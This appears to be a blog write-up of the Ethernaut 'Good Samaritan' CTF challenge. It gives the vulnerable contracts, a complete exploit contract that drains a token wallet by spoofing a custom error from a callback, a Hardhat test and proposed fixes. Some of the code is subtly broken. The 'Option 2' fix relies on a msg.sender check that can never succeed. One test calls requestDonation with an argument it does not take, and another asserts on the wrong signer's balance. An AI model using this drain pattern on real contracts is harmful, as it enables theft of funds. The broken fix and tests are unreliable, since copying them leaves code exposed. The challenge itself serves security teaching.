Skip to content
On this page

Exploiting Custom Errors: A Deep Dive into the Good Samaritan CTF Challenge

Introduction

The Good Samaritan challenge from OpenZeppelin's Ethernaut platform presents a fascinating case study in smart contract security, specifically focusing on the interaction between custom errors, try-catch blocks, and contract notifications. This technical article will dissect the vulnerability, explore the underlying mechanics, and provide a comprehensive solution to drain the wallet's balance completely.

Understanding the Challenge Architecture

Contract Structure Overview

The Good Samaritan ecosystem consists of three main contracts and one interface:

  1. GoodSamaritan: The main contract that manages donations
  2. Wallet: Holds and manages coin balances
  3. Coin: The ERC-20-like token implementation
  4. INotifyable: Interface for notification callbacks

Let's examine each component in detail.

The GoodSamaritan Contract

The primary contract acts as a donation system with a specific flow:

solidity
contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));
        wallet.setCoin(coin);
    }

    function requestDonation() external returns (bool enoughBalance) {
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

The requestDonation() function is the entry point for users seeking donations. It attempts to donate 10 coins via wallet.donate10(), and if that fails with a NotEnoughBalance() error, it transfers the remaining balance.

The Wallet Contract

The Wallet contract manages the coin balance and donation logic:

solidity
contract Wallet {
    address public owner;
    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if (msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    function donate10(address dest_) external onlyOwner {
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        coin.transfer(dest_, coin.balances(address(this)));
    }
}

The wallet has two key functions: donate10() for regular donations and transferRemainder() for transferring all remaining balance.

The Coin Contract

The Coin contract implements the token functionality with a notable feature:

solidity
contract Coin {
    using Address for address;
    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        if (amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if (dest_.isContract()) {
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

The critical feature here is the notification callback: when transferring to a contract address, it calls notify(amount_) on the recipient contract.

Identifying the Vulnerability

The Notification Callback Attack Vector

The vulnerability stems from the interaction between three components:

  1. The try-catch block in GoodSamaritan.requestDonation()
  2. The notification callback in Coin.transfer()
  3. The error matching logic in the catch block

When wallet.donate10() is called, it initiates a transfer of 10 coins. If the recipient is a contract, the Coin.transfer() function calls notify(amount_) on the recipient. This callback occurs during the execution of donate10(), before it completes.

The Exploit Chain

The attack sequence works as follows:

  1. Attacker calls requestDonation()
  2. GoodSamaritan calls wallet.donate10(attacker)
  3. Wallet checks balance and calls coin.transfer(attacker, 10)
  4. Coin.transfer() updates balances and calls attacker.notify(10)
  5. Attacker's notify() function can revert with NotEnoughBalance()
  6. This reverts the entire donate10() call
  7. GoodSamaritan catches the revert and checks if it's NotEnoughBalance()
  8. Since it matches, it calls wallet.transferRemainder(attacker)
  9. This transfers all remaining balance instead of just 10 coins

Crafting the Exploit Contract

The Hack Contract Implementation

Here's the complete exploit contract that leverages this vulnerability:

solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "./GoodSamaritan.sol";

contract Hack is INotifyable {
    error NotEnoughBalance();
    
    GoodSamaritan private immutable target;

    constructor(address _target) {
        target = GoodSamaritan(_target);
    }

    function doHack() external {
        bool r = target.requestDonation();
        require(!r, "Hack fail!");
    }

    function notify(uint256 amount) external {
        amount;
        uint256 balance = target.coin().balances(address(target.wallet()));
        if (balance > 0) {
            revert NotEnoughBalance();
        }
    }
}

Step-by-Step Analysis of the Hack

  1. Constructor: Stores the target GoodSamaritan contract address
  2. doHack(): Initiates the attack by calling requestDonation()
  3. notify(): The callback function that triggers the exploit

The key insight is in the notify() function:

solidity
function notify(uint256 amount) external {
    amount;
    uint256 balance = target.coin().balances(address(target.wallet()));
    if (balance > 0) {
        revert NotEnoughBalance();
    }
}

This function:

  • Accepts the amount parameter (though doesn't use it)
  • Checks the wallet's current balance
  • If there's any balance remaining, it reverts with NotEnoughBalance()

Why This Works

The NotEnoughBalance() error from the attacker's contract is indistinguishable from the NotEnoughBalance() error that the Wallet contract would throw when it actually doesn't have enough balance. The GoodSamaritan contract's error matching logic doesn't verify the source of the error, only its signature.

Testing the Exploit

Comprehensive Test Implementation

Here's a detailed test suite that verifies the exploit works correctly:

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { GoodSamaritan, Hack } from "../typechain-types";

describe("GoodSamaritan Exploit", function () {
  let goodSamaritan: GoodSamaritan;
  let hack: Hack;
  let challenger: any;
  
  const INITIAL_BALANCE = 10 ** 6; // 1,000,000 coins

  beforeEach(async function () {
    // Get the deployer/signer
    [challenger] = await ethers.getSigners();
    
    // Deploy GoodSamaritan contract
    const GoodSamaritanFactory = await ethers.getContractFactory("GoodSamaritan");
    goodSamaritan = await GoodSamaritanFactory.deploy();
    await goodSamaritan.waitForDeployment();
    
    // Verify initial setup
    const walletAddr = await goodSamaritan.wallet();
    const coinAddr = await goodSamaritan.coin();
    
    // Get Coin contract instance
    const CoinFactory = await ethers.getContractFactory("Coin");
    const coinContract = CoinFactory.attach(coinAddr);
    
    // Verify initial wallet balance
    const initialBalance = await coinContract.balances(walletAddr);
    expect(initialBalance).to.equal(INITIAL_BALANCE);
  });

  it("should drain the wallet completely", async function () {
    // Deploy the Hack contract
    const HackFactory = await ethers.getContractFactory("Hack");
    hack = await HackFactory.deploy(await goodSamaritan.getAddress());
    await hack.waitForDeployment();
    
    // Get Coin contract for balance checking
    const coinAddr = await goodSamaritan.coin();
    const CoinFactory = await ethers.getContractFactory("Coin");
    const coinContract = CoinFactory.attach(coinAddr);
    const walletAddr = await goodSamaritan.wallet();
    
    // Record initial balances
    const walletBalanceBefore = await coinContract.balances(walletAddr);
    const hackBalanceBefore = await coinContract.balances(await hack.getAddress());
    
    console.log(`Wallet balance before: ${walletBalanceBefore}`);
    console.log(`Hack contract balance before: ${hackBalanceBefore}`);
    
    // Execute the exploit
    const tx = await hack.doHack();
    await tx.wait();
    
    // Verify final balances
    const walletBalanceAfter = await coinContract.balances(walletAddr);
    const hackBalanceAfter = await coinContract.balances(await hack.getAddress());
    
    console.log(`Wallet balance after: ${walletBalanceAfter}`);
    console.log(`Hack contract balance after: ${hackBalanceAfter}`);
    
    // Assertions
    expect(walletBalanceAfter).to.equal(0);
    expect(hackBalanceAfter).to.equal(walletBalanceBefore);
    
    // Verify the hack was successful (requestDonation returns false)
    const donationResult = await goodSamaritan.requestDonation.staticCall(
      await hack.getAddress()
    );
    expect(donationResult).to.be.false;
  });

  it("should demonstrate the normal donation flow", async function () {
    // Test normal donation to an EOA
    const [_, recipient] = await ethers.getSigners();
    
    const tx = await goodSamaritan.requestDonation();
    await tx.wait();
    
    const coinAddr = await goodSamaritan.coin();
    const CoinFactory = await ethers.getContractFactory("Coin");
    const coinContract = CoinFactory.attach(coinAddr);
    
    const recipientBalance = await coinContract.balances(recipient.address);
    expect(recipientBalance).to.equal(10);
  });
});

Test Execution Flow

  1. Setup: Deploys the GoodSamaritan contract with initial 1,000,000 coin balance
  2. Exploit Deployment: Deploys the Hack contract targeting GoodSamaritan
  3. Balance Verification: Checks initial balances before the attack
  4. Attack Execution: Calls doHack() which triggers the exploit
  5. Result Verification: Confirms wallet is drained and Hack contract has all coins

Security Analysis and Lessons Learned

The Root Cause: Error Source Verification

The fundamental vulnerability is that GoodSamaritan.requestDonation() doesn't verify where the NotEnoughBalance() error originates. It assumes any NotEnoughBalance() error comes from the Wallet.donate10() call, but in reality, it could come from anywhere in the call stack, including the notification callback.

Custom Error Security Considerations

Custom errors in Solidity, while gas-efficient, require careful handling:

  1. Error Propagation: Errors can propagate through multiple contract calls
  2. Error Context: The same error type from different sources is indistinguishable
  3. Try-Catch Limitations: Catching errors requires understanding the full call chain

Here are several approaches to fix this vulnerability:

Option 1: Remove the try-catch and handle errors differently

solidity
function requestDonation() external returns (bool) {
    uint256 balance = coin.balances(address(wallet));
    
    if (balance >= 10) {
        wallet.donate10(msg.sender);
        return true;
    } else if (balance > 0) {
        wallet.transferRemainder(msg.sender);
        return false;
    }
    
    return false;
}

Option 2: Add error source verification

solidity
function requestDonation() external returns (bool enoughBalance) {
    try wallet.donate10(msg.sender) {
        return true;
    } catch (bytes memory err) {
        // Verify the error comes from the expected source
        if (msg.sender == address(wallet) && 
            keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
            wallet.transferRemainder(msg.sender);
            return false;
        }
        // Re-throw unexpected errors
        assembly {
            revert(add(32, err), mload(err))
        }
    }
}

Option 3: Modify the notification mechanism

solidity
// In Coin contract
function transfer(address dest_, uint256 amount_) external {
    uint256 currentBalance = balances[msg.sender];

    if (amount_ <= currentBalance) {
        balances[msg.sender] -= amount_;
        balances[dest_] += amount_;

        if (dest_.isContract()) {
            // Use a low-level call with gas limits
            (bool success, ) = dest_.call{gas: 50000}(
                abi.encodeWithSignature("notify(uint256)", amount_)
            );
            // Don't revert if notification fails
            if (!success) {
                // Log or handle gracefully
            }
        }
    } else {
        revert InsufficientBalance(currentBalance, amount_);
    }
}

Broader Implications for Smart Contract Security

Reentrancy Patterns

This exploit demonstrates a form of "error reentrancy" where a callback can influence the error state of the calling function. While different from traditional reentrancy attacks that manipulate state, it shares similar characteristics of unexpected control flow during external calls.

Notification Callback Risks

The pattern of notifying recipient contracts during transfers is common in some token implementations. This case study highlights the risks:

  1. Unbounded Execution: Recipient contracts can execute arbitrary code
  2. State Manipulation: Callbacks can affect the calling contract's state
  3. Error Injection: Callbacks can revert with specific errors to manipulate control flow

Defense Strategies

  1. Checks-Effects-Interactions Pattern: Ensure state changes happen before external calls
  2. Gas Limits on Callbacks: Limit the gas available to notification callbacks
  3. Error Isolation: Isolate error-prone operations from critical state changes
  4. Minimal Trust in Callbacks: Assume callbacks can fail or behave maliciously

Conclusion

The Good Samaritan CTF challenge provides valuable insights into smart contract security, particularly around error handling and callback mechanisms. The exploit demonstrates how seemingly innocent features—custom errors, try-catch blocks, and notification callbacks—can combine to create critical vulnerabilities.

Key takeaways for developers:

  1. Always verify error sources when using try-catch with custom errors
  2. Be cautious with callbacks during state-changing operations
  3. Consider the full call chain when designing error handling logic
  4. Test edge cases involving contract interactions and error propagation

For security researchers, this challenge highlights the importance of understanding not just individual contract vulnerabilities, but also how contract interactions can create unexpected attack vectors. The most secure individual components can still create vulnerable systems when combined in unexpected ways.

As the blockchain ecosystem evolves, understanding these complex interaction patterns will become increasingly important for both developers and security professionals working to build and maintain secure decentralized systems.

Built with AiAda